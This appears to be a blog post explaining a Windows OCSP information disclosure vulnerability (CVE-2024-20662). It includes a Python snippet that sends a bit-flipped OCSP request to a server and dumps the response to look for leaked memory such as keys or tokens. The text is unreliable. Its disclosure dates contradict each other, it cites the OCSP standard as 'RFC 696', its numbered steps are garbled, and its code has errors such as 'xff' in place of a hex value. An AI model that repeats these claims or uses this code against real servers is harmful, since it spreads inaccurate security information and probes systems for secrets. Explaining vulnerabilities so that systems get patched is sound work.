CVE-2024-20662 - Understanding and Exploiting the Windows OCSP Information Disclosure Vulnerability

Published: June 2024

What is CVE-2024-20662?

In February 2024, Microsoft disclosed CVE-2024-20662, an Information Disclosure Vulnerability in the Windows Online Certificate Status Protocol (OCSP) component. This security flaw could allow attackers to read sensitive information that should be confidential, leading to potential attacks such as privilege escalation or further compromise.

This post will break down the vulnerability, how it works, how it can be exploited, and what you should do to protect your systems. We’ll also provide some code snippets and links to official advisories.

References

- Microsoft CVE-2024-20662 Security Advisory
- NIST NVD Entry for CVE-2024-20662
- OCSP Protocol (RFC 696)

What is OCSP, and Why Does It Matter?

OCSP stands for Online Certificate Status Protocol. It's a protocol used to check if a digital certificate is still valid (not revoked), in real-time. When you connect to a secure website, your browser may ask an OCSP server if the site's certificate is still valid.

Windows, like most operating systems, uses OCSP as part of its certificate checking process.

What’s the Vulnerability?

In CVE-2024-20662, Microsoft reported that improper handling of OCSP requests or responses could allow an attacker to retrieve sensitive information from memory. This leakage could potentially include certificate data or even credentials, depending on the exploitation context.

This type of vulnerability is commonly known as Information Disclosure. It does not directly allow an attacker to run code or take control, but it leaks data that could be useful in later attacks.

An attacker sends a specially crafted OCSP request to a Windows system.

2. The Windows OCSP responder improperly processes the request, leaking information from memory in its response.
3. The attacker receives the response and extracts sensitive information that should not have been revealed.

This flaw could be exploited over the network; no local access is required, but the attacker does have to be able to communicate with the actioning OCSP service—either directly or via web requests.

Technical Details and Code Snippet

Let’s take a basic OCSP request/response using Python's requests and cryptography.

Step 1: Craft an Invalid OCSP Request

from cryptography.hazmat.primitives import hashes
from cryptography.x509.ocsp import OCSPRequestBuilder, load_der_ocsp_response

# Suppose we have a target certificate and issuer for the example:
from cryptography import x509

with open("target_cert.der", "rb") as f:
    target_cert = x509.load_der_x509_certificate(f.read())
with open("issuer_cert.der", "rb") as f:
    issuer_cert = x509.load_der_x509_certificate(f.read())

builder = OCSPRequestBuilder()
builder = builder.add_certificate(target_cert, issuer_cert, hashes.SHA1())
ocsp_request = builder.build()

# Malform part of the request for potential exploitation
malformed_request_bytes = bytearray(ocsp_request.public_bytes())

# Example: manipulate a random byte
malformed_request_bytes[10] ^= xff  # Flip some bits, for demonstration

# Send request to OCSP server
import requests
ocsp_url = "http://windows-ocsp-server.yourdomain.com/ocsp";

headers = {
    'Content-Type': 'application/ocsp-request',
    'Accept': 'application/ocsp-response',
}
response = requests.post(ocsp_url, headers=headers, data=malformed_request_bytes)

# Attempt to parse the OCSP response
try:
    ocsp_response = load_der_ocsp_response(response.content)
except Exception as e:
    print("Error parsing OCSP response:", e)
    print("Raw response dump (hex):", response.content.hex())

Note: The above code will not crash your system, but demonstrates how you might send an intentionally invalid request and parse an unusual response.

Understanding the Leaked Data

If the server is vulnerable, you may receive a response that includes unexpected data—possibly snippets from the server's memory. For a real-world exploit, an attacker would analyze this data for secrets (e.g., certificate private keys, user tokens, etc.).

Who is Affected?

- Windows Server (especially systems running as OCSP Responders or Active Directory Certificate Services)

Enterprise Certificate Authorities on Windows

- Any Windows application/service that implements custom OCSP handling

Mitigation and Remediation

Microsoft has released security updates patching the issue. Immediate action is required!

Apply the latest cumulative Windows updates.

- Update guidance from Microsoft

Final Thoughts

CVE-2024-20662 shows how even obscure components like OCSP can present serious risks. While information disclosure is less severe than remote code execution, attackers can chain it with other flaws to escalate attacks on your infrastructure.

Timeline

Published on: 01/09/2024 18:15:49 UTC
Last modified on: 04/11/2024 20:15:12 UTC